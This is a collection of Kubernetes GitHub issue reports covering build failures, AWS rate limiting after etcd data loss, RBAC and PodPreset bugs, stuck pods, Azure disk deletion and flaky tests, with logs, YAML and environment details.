<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : clone the repository\r \r   what you expected to happen  : as per the instruction, make command should work\r \r   how to reproduce it  as minimally and precisely as possible   : clone the repository , run make quick-release\r \r   anything else we need to know?  : throwing error, pasted below\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.7\ , gitcommit:\ 6f482974b76db3f1e0f5d24605a9d1d38fad9a2b\ , gittreestate:\ clean\ , builddate:\ 2019-03-29t16:15:10z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws ec2\r - os  e.g:  cat /etc/os-release  : name=\ red hat enterprise linux\ \r version=\ 8.0  ootpa \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 8.0\ \r platform_id=\ platform:el8\ \r pretty_name=\ red hat enterprise linux 8.0  ootpa \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:8.0:ga\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 8\ \r redhat_bugzilla_product_version=8.0\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 8.0\ \r \r - kernel  e.g.  uname -a  :linux ip-172-31-34-171.us-east-2.compute.internal 4.18.0-80.el8.x86_64  1 smp wed mar 13 12:02:46 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r \r i am doing set up of kubernetes on my aws ec2 instance. i executed the below commands as per the instructions\r git clone https://github.com/kubernetes/kubernetes\r cd kubernetes\r make quick-release\r but getting error after running the make command:\r makefile.generated_files:152: recipe for target 'gen_deepcopy' failed\r make 2 :      gen_deepcopy  error 1\r makefile:557: recipe for target 'generated_files' failed\r make 1 :      generated_files  error 2\r makefile:518: recipe for target 'cross' failed\r make:      cross  error 1\r !!!  0523 18:22:13  call tree:\r !!!  0523 18:22:13   1: build/../build/common.sh:519 kube::build::run_build_command_ex ... \r !!!  0523 18:22:13   2: build/release.sh:36 kube::build::run_build_command ... \r make:      makefile:461: quick-release  error 1\r \r please suggest ?

admittedly this one is an edge case, but we had an issue that nearly locked us out of our aws account following data loss on the kubernetes master. specifically: 1. we turned up a k8s cluster integrated with aws 2. an issue in our infrastructure caused us to lose the master's etcd storage  since resolved  3. the new master came up, we recreated some of the lost state  i.e. kubectl create -f service.yml  and the master tried to resync that partial state with aws, failing on duplicate resources 4. until those resources were manually removed, the controller retried each operation often enough that our account become api rate limited, degrading access to our infrastructure  the obvious solution is to not lose the master's data, and we have fixed our mistake there. that said, as the flow above nearly locked us out of our aws account, it would be nice if the controller had responded a little better to the partial data scenario. two changes that would have helped us: 1. increasing backoffs  random, exponential, fibonacci, etc.  around aws api retries especially when the previous call failed due to a \ requestlimitexceeded\  – though this does have the downside of pushing out time to convergence when the underlying issue is fixed 2. a way for the aws integration to self-heal: when it fails to create e.g. a route because that route already exists in the table, a nicer error handling strategy might simply say \ creation successful!\  – the situation is more difficult with security groups that have some state that potentially requires diffing, but in our case the issue occurred in the degenerate case where the controller was trying to recreate the exact resource that already existed  for context, the log messages we saw from the controller  there was some variation depending on which exact request was throttled :      e0916 23:21:30.178529       1 servicecontroller.go:171  failed to process service delta. retrying: failed to create external load balancer for service default/hello-world: error listing aws subnets: requestlimitexceeded: request limit exceeded.     status code: 503, request id:             e0916 22:53:56.348372       1 routecontroller.go:91  could not create route route_id 10.244.0.0/24: error creating aws route  10.244.0.0/24 : requestlimitexceeded: request limit exceeded.      the underlying issues seemed to stem from:      e0916 23:35:37.607891       1 servicecontroller.go:171  failed to process service delta. retrying: failed to create external load balancer for service default/hello-world: invalidgroup.duplicate: the security group 'security_group_id' already exists for vpc 'vpc_id'          e0916 22:52:56.239869       1 routecontroller.go:91  could not create route route_id 10.244.3.0/24: error creating aws route  10.244.3.0/24 : routealreadyexists: the route identified by 10.244.3.0/24 already exists.      deleting both of those resources did appear to resolve the problem. thanks for reading my book!

we autogenerate user-facing api documentation from types.go comments now. most people tend to refer to go field and type names in their comments as per typical godoc style. however, this isn't appropriate for user docs. i generally tell people to use the json field names instead of go field names and english instead of type names, but it's been an uphill battle to enforce.  when generating documentation in writeswaggerdocfunc, we should try to automatically convert go field and type names in the comments to json field names and english rather than type names. parsedocumentationfrom keeps the json field names but discards the go field names. in general, they should be the same except for capitalization of the first letter, but we could also just keep both in kubetypes, and replace all occurrences of the go field name with the json field name in the doc string. for the type names, we could replace all occurrences of the go type name with the type name split into separate words at capital letters. for example,  replicasetspec  would become  replica set spec . that's not ideal, but  horizontal pod autoscaler list  would be better than  horizontalpodautoscalerlist .

i want to use kubernetes on my private paas and some of the containers need rate limit like 10mbps  and bandwidth quota like 100gb/month . is it possible to do this using kubernetes?

somehow i overlooked the fact that  41617 did not add back all the tests for annotation-based affinity that were converted to use fields in  37299 and  39478. this is pretty bad because we are supposed to be supporting annotation-based affinity in addition to field-based affinity  that was the reason for  41617 .\r \r for e2e this requires setting up a separate jenkins job that enables annotation-based affinity.  see kubernetes/test-infra 1947 kubernetes/test-infra 2089 kubernetes/test-infra 2187 for an example. \r \r it would be great if someone could volunteer to do this asap. it is a very mechanical change -- just find all the tests that were converted to use fields in  37299 and  39478 but whose annotation-based versions were not added back in  41617, and add back the annotation-based versions of them.\r \r we can separate the task of adding back the tests, and the task of setting up the jenkins job.\r \r cc/ @rrati @timothysc @kubernetes/sig-scheduling-bugs \r \r ref/  42614\r

authorization doesn't have access to the request body, so it can't know the name of the resource being created. for example, the following role doesn't work as expected.\r \r    \r kind: role\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   namespace: default\r   name: create-a-secret\r rules:\r - apigroups:  \ \  \r   resources:  \ secrets\  \r   verbs:  \ create\  \r   resourcenames:  \ my-secret\  \r    \r \r at the worst we need to document this. at best we can plead with api machinery to let us do something to make it work.\r \r cc @kubernetes/sig-auth-misc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.184+3837d951919006\ , gitcommit:\ 3837d9519190069c44a453c145869e1fced52f23\ , gittreestate:\ clean\ , builddate:\ 2017-06-07t06:07:10z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.184+3837d951919006\ , gitcommit:\ 3837d9519190069c44a453c145869e1fced52f23\ , gittreestate:\ clean\ , builddate:\ 2017-06-07t06:07:10z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r use  --out-patch  to get the patch from edit command\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r ref to  46091

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug\r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r kubectl describe node1 \r   what you expected to happen  :\r    \r capacity:\r  cpu:\t\t2\r  memory:\t3882324ki\r  pods:\t\t110\r allocatable:\r  cpu:\t\t2\r  memory:\t3779924ki\r  pods:\t\t110\r    \r but it already some pod running in the node1\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.6.3\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :centos7.2\r - kernel  e.g.  uname -a  :3.10.0-514.21.1.el7.x86_64\r - install tools:kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r pods stuck with \ terminating\  in an absent node.\r \r   systoms:  \r pods stuck with \ terminating\  in an absent node after update cluster.\r \r   causes:  \r i have a deployment with 3 pods  scaling .\r then i try to update an entire cluster from 1.6.3 to 1.6.7.\r \r   effects:  \r one of them is fine, the rest is \ terminating\   from kubectl \r all of them are \ running\  in dashboard with a label from an absent nodes.\r \r   diagnose:  \r list my promblem pods  deployment \r    \r kubectl get pods -n mynamespace\r \r name                                ready     status        restarts   age\r xxxxxxxxxxxxx-app-393156728-l0l0f   1/1       terminating   0          18h\r xxxxxxxxxxxxx-app-393156728-l17xt   1/1       terminating   0          18h\r xxxxxxxxxxxxx-app-393156728-nl1pr   1/1       running       0          16h\r    \r \r then i try to get log from one of \ terminating\ \r    \r kubectl logs -n mynamespace xxxxxxxxxxxxx-app-393156728-l0l0f\r \r error from server  notfound : nodes \ ip-172-20-92-136.ap-southeast-1.compute.internal\  not found\r    \r \r   first aid  \r i try to scale down  from 3 to 0 , the result were 2 terminating pods.\r i try to scale up  from 0 to 5 , the result were 5  3 fine, 2 broken  pods.\r i try to exec sh into the pods, can't.\r i try to force delete, nothing works\r    \r kubectl delete pod -n mynamespace xxxxxxxxxxxxx-app-393156728-l17xt --grace-period=0 --force\r warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r pod \ xxxxxxxxxxxxx-app-393156728-l17xt\  deleted\r    \r the status is \ deleted.\ , however it's still there.\r \r i deleted a deployment, the fine pod's gone, the broken pods alive.\r \r   what you expected to happen  :\r the pods are healthy\r \r   how to reproduce it  as minimally and precisely as possible   :\r no ideas, sorry.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.7\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : gnu/linux\r - install tools: kops\r - others: my kubectl version is 1.6.4  in cluster kubectl is 1.6.7 if i ssh in to them .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r 1. if newly import a non-existing package and then run  hack/update-bazel.sh , it doesn't give an error.\r \r 2. if the newly import package exists and then run  hack/update-bazel.sh , it doesn't print out what build files it updates.\r \r   what you expected to happen  :\r 1. giving an error in case 1.\r \r 2. printing out in case 2.\r \r   how to reproduce it  as minimally and precisely as possible   :\r modify a code file by importing a new package and run  hack/update-bazel.sh .\r \r   anything else we need to know?  :\r seems like the issues are introduced after using  kazel  ?\r \r it once worked as below.\r case 1:\r    \r extract err: cannot find package \ github.com/x/z\  in any of:\r \t/home/cloud/go/src/k8s.io/kubernetes/vendor/github.com/x/z  vendor tree \r \t/usr/local/go/src/github.com/x/z  from $goroot \r \t/home/cloud/go/src/github.com/x/z  from $gopath \r    \r case 2:\r    \r wrote \ cmd/kube-controller-manager/app/build\ \r wrote \ cmd/kube-proxy/app/build\ \r    \r \r /cc @mikedanese @ixdy \r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently batching webhook can spawn new requests to the backend as fast as it is possible to create sending goroutines. this might be not a great situation in case backend serves several masters simultaneously: one extra-noisy cluster can influence other clusters. per-cluster rate-limiting on backend side is not always an option, so it would be nice to have a mechanism to control either the rate with which webhook sends requests to the backend or at least a number of concurrent connections. \r \r /cc @sttts @soltysh @ericchiang @caoshufeng @piosz

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r failed to delete azure disk which is dynamically provisioned\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create an azure disk storage class\r 2. create a azure disk pvc\r 3. delete the azure disk pvc\r 4. check the deletion of azure disk, actually it's not deleted in some corner condition, error logs from controller manager is like following:\r    \r i1117 15:11:14.297427       1 azure_blobdiskcontroller.go:280  azuredisk - deleting volume https://pvc2187164041002.blob.core.windows.net/2187164041/andykube181-dynamic-pvc-79875d8a-ca13-11e7-af6c-000d3af7f230.vhd\r i1117 15:11:14.297430       1 azure_blobdiskcontroller.go:127  azuredisk - begin to delete volume https://pvc2187164041002.blob.core.windows.net/2187164041/andykube181-dynamic-pvc-79875d8a-ca13-11e7-af6c-000d3af7f230.vhd\r i1117 15:11:14.297498       1 pv_controller.go:1077  deletion of volume \ pvc-79875d8a-ca13-11e7-af6c-000d3af7f230\  failed: failed to parse vhd uri invalid vhd uri for regex https:// .  .blob.core.windows.net/vhds/ .  : https://pvc2187164041002.blob.core.windows.net/2187164041/andykube181-dynamic-pvc-79875d8a-ca13-11e7-af6c-000d3af7f230.vhd\r    \r \r   anything else we need to know?  :\r   how to fix it:  \r change https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go l159-l172 make it more general\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

is this a bug report or feature request?  :\r \r  \r   what happened  :\r a pod preset which has two volumemounts from the same volume do not get applied to pods. the volume is a  hostpath  volume.\r \r   what you expected to happen  :\r i expected the pod to get the volume and volumemounts from the pod preset. \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod preset that has two volumemounts that mount to the same volume. it will not get applied to a pod even if it matches the selector. then change the pod preset to make two volumes with different names but have the same  path . then change each of the volumemounts to use a separate volume. the preset will then get applied to a new pod. i will provide full preset and pod examples below.\r \r   anything else we need to know?  :\r the context is that we have some legacy docker images that expects a file from a specific directory. we want to transition to a new directory, and therefore must have the same file in the former and new directory. this is best accommodated by having two volumemounts to the same volume. therefore old docker images and new docker images will work seamlessly.\r \r here is a yaml file creating a broken version of a preset and a working version:\r    \r ---\r apiversion: settings.k8s.io/v1alpha1\r kind: podpreset\r metadata:\r   name: preset-broken\r spec:\r   selector:\r     matchlabels:\r       preset-broken: enabled\r   volumemounts:\r   - mountpath: /a\r     name: cache-volume\r     readonly: true\r   - mountpath: /b\r     name: cache-volume\r     readonly: true\r   volumes:\r   - name: cache-volume\r     hostpath:\r       path: /tmp\r       type: directory\r \r ---\r apiversion: settings.k8s.io/v1alpha1\r kind: podpreset\r metadata:\r   name: preset-working\r spec:\r   selector:\r     matchlabels:\r       preset-working: enabled\r   volumemounts:\r   - mountpath: /a\r     name: cache-volume-a\r     readonly: true\r   - mountpath: /b\r     name: cache-volume-b\r     readonly: true\r   volumes:\r   - name: cache-volume-a\r     hostpath:\r       path: /tmp\r       type: directory\r   - name: cache-volume-b\r     hostpath:\r       path: /tmp\r       type: directory\r    \r here are pods that are associated with them and a working pod without a preset:\r    \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: pod-broken-preset\r   labels:\r     app: website\r     role: frontend\r     preset-broken: enabled\r spec:\r   containers:\r     - name: website\r       image: nginx\r \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: pod-no-preset\r   labels:\r     app: website\r     role: frontend\r spec:\r   containers:\r     - name: website\r       image: nginx\r       volumemounts:\r         - mountpath: /a\r           name: cache-volume\r           readonly: true\r         - mountpath: /b\r           name: cache-volume\r           readonly: true\r   volumes:\r     - name: cache-volume\r       hostpath:\r         path: /tmp\r         type: directory\r \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: pod-working-preset\r   labels:\r     app: website\r     role: frontend\r     preset-working: enabled\r spec:\r   containers:\r     - name: website\r       image: nginx\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ archive\ , builddate:\ 2018-02-16t10:14:13z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ archive\ , builddate:\ 2018-02-16t10:14:13z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r linux ip-10-91-38-50.ec2.internal 3.10.0-693.11.6.el7.x86_64  1 smp thu jan 4 01:06:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r none\r - others:

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r   what happened  :\r \r   what you expected to happen  :\r to make the function of ipset entries in kube-proxy more clear.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r csi https://github.com/kubernetes/kubernetes/pull/71314 re-introduced support for the deprecated volume plugin socket dir to allow for enough time for older plugins to be upgraded. but eventually, maybe in two releases  v1.15  we should deprecate the old directory.\r \r cc @liggitt \r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

which jobs are flaking  :\r    ci-kubernetes-e2e-gce-cos-k8sbeta-serial    testgrid  https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-serial&width=20     triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-cos-k8sbeta-serial%24&test=genericpersistentvolume  \r    ci-kubernetes-e2e-gce-new-master-upgrade-master$    testgrid  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master     triage  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-new-master-upgrade-master%24&test=genericpersistentvolume  \r \r   which test s   :\r  genericpersistentvolume disruptive  when kubelet restarts should test that a volume mounted to a pod that is deleted while the kubelet is down unmounts when the kubelet returns. \r \r \r   reason for failure  :\r timeout:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/generic_persistent_volume-disruptive.go:73\r expected pod to be not found.\r expected error:\r     < errors.errorstring | 0xc0002769f0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/utils.go:242\r    \r \r   anything else we need to know  :\r   this test has flaked about 8% of the time till now; not terrible but significant enough. working on it would help greatly to stabilize these  release blocking and fairly flaky overall  jobs.\r \r  /remove-kind failing-test\r  / /milestone v1.14\r \r cc @smourapina @alejandrox1 @kacole2 @mortent

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r make release of v1.14.2 failed. after facing the error  hack/lib/golang.sh: line 295: kube_server_platforms @ : unbound variable    link to code  https://github.com/kubernetes/kubernetes/blob/v1.14.2/hack/lib/golang.sh l295   we did 4  cherry-pick :\r \r - 38b7f2125fa571bdd9fe3070b808635f88586dd1\r - 7e2aa46f64a67a50e8155538750c08b83dffa348\r - eaafa5952f8073f51b13dbeafe406019995c8c0b\r \r - a commit in @cblecker 's opening pr  78048  b8481b62fcb38d7af96d4af2e2077fcfb2921712 \r \r then the build process failed again:\r    \r /home/ubuntu/kubernetes/hack/lib/golang.sh: line 305: kube_server_platforms @ : unbound variable\r /home/ubuntu/kubernetes/hack/lib/golang.sh: line 305: kube_server_platforms @ : unbound variable\r makefile.generated_files:514: recipe for target 'gen_bindata' failed\r make 2 :      gen_bindata  error 1\r make 2 : leaving directory '/home/ubuntu/kubernetes'\r makefile:526: recipe for target 'generated_files' failed\r make 1 :      generated_files  error 2\r make 1 : leaving directory '/home/ubuntu/kubernetes'\r makefile:23: recipe for target 'kubernetes-build' failed\r make:      kubernetes-build  error 2\r    \r what we did was:\r we ran two commands\r    \r make generated_files\r make what=cmd/kubectl kube_build_platforms=\ darwin/amd64 windows/amd64\ \r    \r  make generated_files  called  kubernetes/build/root/makefile  https://github.com/kubernetes/kubernetes/blob/v1.14.2/build/root/makefile l92 , after that,  we did  make what=cmd/kubectl kube_build_platforms=\ darwin/amd64 windows/amd64\  . and right after this command, the error happened.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.2\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04, bash version 4.3\r \r @cblecker @tpepper @figo \r

hey guys,  i tried to deploy kubernetes/coreos on aws  https://github.com/coreos/coreos-kubernetes/blob/v0.1.0/documentation/kubernetes-on-aws.md  but is there a way to get it more simple to expose to a public ip: - kube-ui - influxdb/grafana  is it possible to makes things much more simple ^^ ? :-   cheers, luc michalski

i now get these in my worker's kubelet output:      unable to write event: 'post http://10.0.0.50/api/v1/namespaces/kube-system/events: dial tcp 10.0.0.50:80: connection refused'  may retry after sleeping       i also wonder why its trying to talk over 80 to apiserver directly

make quick-release  build output    cluster/kube-up.sh ... starting cluster in us-central1-b using provider gce ... calling verify-prereqs all components are up to date. all components are up to date. all components are up to date. ... calling kube-up your active configuration is:  default  project: unique-caldron-775 zone: us-central1-b gs://kubernetes-staging-b389a31721/devel/ gs://kubernetes-staging-b389a31721/e2e-test-matt-devel/ gs://kubernetes-staging-b389a31721/e2e-test-root-devel/ gs://kubernetes-staging-b389a31721/kubernetes-devel/ gs://kubernetes-staging-b389a31721/njkubernetes-devel/ +++ staging server tars to google storage: gs://kubernetes-staging-b389a31721/kubernetes-dev el commandexception: invalid command \ max-age=0\ .      max-age=0 comes from the  gsutil -m -q -h \ cache-control:private, max-age=0\  cp \ ${tar}\  \ ${tar}.sha1\  \ ${stagine_path}\   call out of cluster/gce/util.sh.  i saw the problem with the ubuntu 16.04 google-cloud-sdk version 111.0.0-0ubuntu1~16.04.0, installed from apt-get.  removing google-cloud-sdk and installing from here: https://cloud.google.com/sdk/downloads apt-get fixed the problem.   gsutil --version  reported 4.19 for both installs.  it would be much better if kube-up.sh worked with the version apt picks up automatically on 16.04.  is the option really necessary?

ref  19765 and https://github.com/coreos/bugs/issues/1114  coreos intentionally does not provide a socat command on the host. the recommended way of running kubelet is to use the  kubelet-wrapper  script which correctly bundles dependencies like socat.  the  kube-up  using gce+coreos should result in a working cluster. the possible resolutions to this are: 1.  kube-up  uses  kubelet-wrapper  internally. this is attractive because it also aligns with coreos's recommendation for how kubelet should be run. 2.  kube-up  installs a socat binary out of band 3.  kube-up  for the gce+coreos flavour is removed. this results in it being more difficult for e.g. the e2e tests to be run against coreos. 4. as discussed in the first-linked-issue above, socat is vendored as an image or such and kubelet downloads it that way.  my preference is 1 or 4 and 1 solves more problems overall, so i'm leaning towards that.  /cc @aaronlevy @yifan-gu

right now this function tries to be neutral to providers, and as such is probably worse than any of them need.\r \r on gce, at least, it truncates the uuid unnecessarily.\r \r @kubernetes/sig-network-bugs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r replicaset\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.7-beta.0\ , gitcommit:\ fd8fac83034df346529c6e11aabceea2db48d663\ , gittreestate:\ clean\ , builddate:\ 2016-11-16t02:07:21z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.7-beta.0\ , gitcommit:\ fd8fac83034df346529c6e11aabceea2db48d663\ , gittreestate:\ clean\ , builddate:\ 2016-11-16t02:02:36z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r    \r   cat /etc/os-release \r name=\ red hat enterprise linux server\ \r version=\ 7.3  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 7.3\ \r pretty_name=\ red hat enterprise linux server 7.3  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.3:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.3\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.3\ \r    \r -   kernel    e.g.  uname -a  :\r      uname -a\r linux l-33-26 3.10.0-514.el7.x86_64  1 smp wed oct 19 11:24:13 edt 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :\r -   others  :\r i have already tried on both etcdctl 2.2.1 and 3.0.17\r    \r   etcdctl --version\r etcdctl version 2.2.1\r    \r \r   what happened  :\r the replica sets won't deleted after a deployment be deleted. the number is all zero.\r    \r   kubectl get rs\r name                                 desired   current   ready     age\r dmo-m2-deploy-594970131              1         1         1         35m\r dmo-update-etcd1-deploy-1825371083   0         0         0         33m\r dmo-update-etcd2-deploy-1965028295   0         0         0         27m\r    \r \r   what you expected to happen  :\r there is no replica sets remains after a deployment be deleted.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a deployment, then delete it, it's better to do an upgrade operation.\r \r   anything else we need to know  :\r after a deployment be deleted, the rs of old versions would be deleted first, then a new rs would be created.\r

